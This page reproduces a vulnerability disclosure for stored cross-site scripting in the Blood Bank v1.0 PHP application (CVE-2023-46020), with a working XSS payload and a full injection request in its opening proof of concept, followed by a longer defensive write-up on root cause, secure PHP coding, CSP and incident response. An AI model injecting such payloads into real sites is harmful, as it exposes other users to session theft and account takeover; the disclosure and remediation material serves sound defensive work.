Blood Bank v1.0 - Stored Cross Site Scripting (XSS)

Exploit Author: Ersin Erenler Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-04-02
# Exploit Title: Blood Bank v1.0 Stored Cross Site Scripting (XSS)
# Date: 2023-11-14
# Exploit Author: Ersin Erenler
# Vendor Homepage: https://code-projects.org/blood-bank-in-php-with-source-code
# Software Link: https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip
# Version: 1.0
# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0
# CVE : CVE-2023-46020

-------------------------------------------------------------------------------

# Description:

The parameters rename, remail, rphone, and rcity in the /file/updateprofile.php file of Code-Projects Blood Bank V1.0 are susceptible to Stored Cross-Site Scripting (XSS). This vulnerability arises due to insufficient input validation and sanitation of user-supplied data. An attacker can exploit this weakness by injecting malicious scripts into these parameters, which, when stored on the server, may be executed when other users view the affected user's profile.

Vulnerable File: updateprofile.php

Parameters: rename, remail, rphone, rcity

# Proof of Concept:
----------------------

1. Intercept the POST request to updateprofile.php via Burp Suite
2. Inject the payload to the vulnerable parameters
3. Payload: "><svg/onload=alert(document.domain)>
4. Example request for rname parameter:

---

POST /bloodbank/file/updateprofile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: http://localhost
Connection: close
Referer: http://localhost/bloodbank/rprofile.php?id=1
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

rname=test"><svg/onload=alert(document.domain)>&remail=test%40gmail.com&rpassword=test&rphone=8875643456&rcity=lucknow&bg=A%2B&update=Update

----

5. Go to the profile page and trigger the XSS

XSS Payload:

"><svg/onload=alert(document.domain)>


Blood Bank v1.0 — Stored Cross-Site Scripting (CVE-2023-46020)

This article examines the Stored Cross-Site Scripting (XSS) issue reported in Blood Bank v1.0 (CVE-2023-46020). It explains the root cause, the potential impact, detection strategies, and practical remediation steps for developers and administrators. The guidance is focused on safe fixes and secure coding patterns to prevent stored XSS vulnerabilities.

Summary

The application stores untrusted input from user profile update fields and later renders it into profile pages without proper output encoding or sufficient server-side validation. The vulnerable parameters are sent to file/updateprofile.php and later displayed in profile pages (for example, rprofile.php), enabling stored XSS when an attacker saves crafted input that is then rendered to other users.

Affected file Affected parameters
file/updateprofile.php rename, remail, rphone, rcity (input stored and later rendered)

Why this is dangerous

  • Stored XSS lets an attacker inject JavaScript that executes in the browsers of users who visit the affected page.
  • Successful exploitation can lead to session hijacking, privilege escalation, account takeover, and distribution of further attacks to other users.
  • Because the payload is stored on the server, it can affect many users over time.

Root cause

The core problems are:

  • Insufficient or missing server-side validation of the input fields.
  • Rendering user-supplied data directly into HTML pages without proper context-sensitive output encoding.
  • Reliance on client-side controls only (which can be bypassed by an attacker).

Safe proof-of-concept description (high-level)

Conceptually, an attacker who can update a profile can store script-bearing content into one of the profile fields. When another user or the same user later views that profile page, the page renders the stored content unescaped and the injected script runs in the victim’s browser.

Detection and assessment

  • Perform a code review to find places where untrusted input is written into HTML without escaping. Focus on all echo/print or template insertions of profile fields.
  • Use automated static analysis and dynamic scanners to identify stored XSS sinks; verify findings manually.
  • Review database contents for suspicious tags or unusual characters in profile fields.

Secure remediation strategy

Fixes must be multi-layered:

  • Server-side input validation: enforce types, lengths, allowed character sets, and use strong validation for fields like email and phone.
  • Context-sensitive output encoding: escape data at output, not at input. Use proper HTML encoding for values embedded into HTML.
  • Use parameterized queries to avoid other injection classes (SQL injection).
  • Reduce attack surface with Content Security Policy (CSP), secure cookie flags, and by avoiding rendering raw HTML from users.

Example: secure input handling and storage (PHP + PDO)

<?php
// Example: robust server-side handling for profile update
// Assume $pdo is a configured PDO instance and user is authenticated

// Retrieve and validate inputs
$name  = trim($_POST['rename'] ?? '');
$email = trim($_POST['remail'] ?? '');
$phone = trim($_POST['rphone'] ?? '');
$city  = trim($_POST['rcity'] ?? '');

// Basic server-side validation
$errors = [];

if ($name === '' || strlen($name) > 100) {
    $errors[] = 'Name is required and must be less than 100 characters.';
}

// Validate email
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    $errors[] = 'Invalid email address.';
}

// Validate phone (digits and limited length)
if ($phone !== '' && !preg_match('/^[0-9\-\+\s]{6,20}$/', $phone)) {
    $errors[] = 'Invalid phone number format.';
}

// Validate city
if ($city !== '' && strlen($city) > 100) {
    $errors[] = 'City name too long.';
}

if (count($errors) === 0) {
    // Use prepared statement to store raw (but validated) values
    $stmt = $pdo->prepare('UPDATE users SET name = :name, email = :email, phone = :phone, city = :city WHERE id = :id');
    $stmt->execute([
        ':name'  => $name,
        ':email' => $email,
        ':phone' => $phone,
        ':city'  => $city,
        ':id'    => $currentUserId
    ]);
}
?>

Explanation: This code trims inputs, performs server-side validation (including email validation and a phone-character whitelist), and uses PDO prepared statements to safely store data. Importantly, data is validated but not HTML-escaped here — escaping should occur at output (see next section).

Example: safe output encoding when rendering the profile

<?php
// When displaying values on a profile page, always HTML-encode
// Assume $row contains a user's data from the DB
function h($s) {
    return htmlspecialchars($s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
?>

<!-- Inside rprofile.php HTML -->
<p>Name: <?php echo h($row['name']); ?></p>
<p>Email: <?php echo h($row['email']); ?></p>
<p>Phone: <?php echo h($row['phone']); ?></p>
<p>City: <?php echo h($row['city']); ?></p>

Explanation: The helper function h() uses htmlspecialchars with ENT_QUOTES and UTF-8 to perform context-appropriate HTML escaping. This prevents any stored markup from being interpreted by the browser. Always escape at the last moment — when inserting into the HTML context.

Context-sensitive encoding notes

  • Use HTML entity encoding (htmlspecialchars) for insertion into element body or attribute values.
  • If user data is placed into JavaScript contexts, CSS contexts, or URLs, apply appropriate encoding libraries for that context (e.g., JSON encoding for JS contexts, percent-encoding for URL components).
  • Avoid naive approaches like strip_tags() as the only protection — they are brittle and may be bypassed.

Additional mitigations and hardening

  • Content Security Policy (CSP): use a well-considered CSP to restrict script sources. For example, disallow inline scripts and only allow trusted script origins.
  • HTTP-only and Secure cookies: set session cookies with HttpOnly, Secure, and SameSite flags to reduce session theft risk.
  • Use a centralized output-encoding approach or templating engine that automatically escapes variables by default.
  • Implement rate-limiting and monitoring for suspicious activity and unusual profile updates.
  • Sanitize stored data where necessary and provide an admin clean-up routine to remove suspicious entries.

Example: adding a basic CSP header in PHP

<?php
// Send a restrictive Content Security Policy header
// This example disallows inline scripts/styles and only allows scripts from the same origin
header(\"Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'; frame-ancestors 'none';\");
?>

Explanation: This header instructs browsers to only load scripts and other resources from the same origin, disallowing inline scripts. CSP is a powerful mitigation but must be tested carefully — avoid overly broad policies and adjust for your application's needs.

Incident response and remediation steps for administrators

  • Apply code fixes (server-side validation + output encoding) to eliminate the vulnerability.
  • Identify and sanitize or remove malicious stored entries from the database.
  • Rotate session authentication tokens for affected users and consider forcing a logout for all users if exploitation is suspected.
  • Deploy CSP and secure cookie settings as layered controls.
  • Notify affected users if sensitive data or account takeover is suspected, and follow your disclosure policy and applicable regulations.

Prevention checklist (developer checklist)

  • Enforce server-side validation for all user input (types, lengths, patterns).
  • Escape/encode user data when rendering into HTML, JS, CSS, or URLs using context-appropriate functions.
  • Use prepared statements to interact with databases.
  • Leverage templating engines that escape by default (and disable unsafe raw output where possible).
  • Implement CSP, secure cookie flags, and input size limits.
  • Regularly scan code and running applications with both SAST and DAST tools for XSS and other vulnerabilities.

References and standards

  • OWASP XSS Prevention Cheat Sheet — authoritative techniques for encoding and validation.
  • OWASP Secure Headers Project — guidance on CSP and secure headers.
  • CWE-79: Cross-site Scripting (XSS) — common weakness enumeration for XSS.

Conclusion

Stored XSS in profile fields is a classic web application mistake rooted in insufficient validation and missing output encoding. Fixing the vulnerability requires a defense-in-depth approach: validate inputs, escape data at output, use parameterized queries, and apply browser-side mitigations like CSP. Following secure coding practices and routinely scanning your applications will greatly reduce the likelihood of similar vulnerabilities.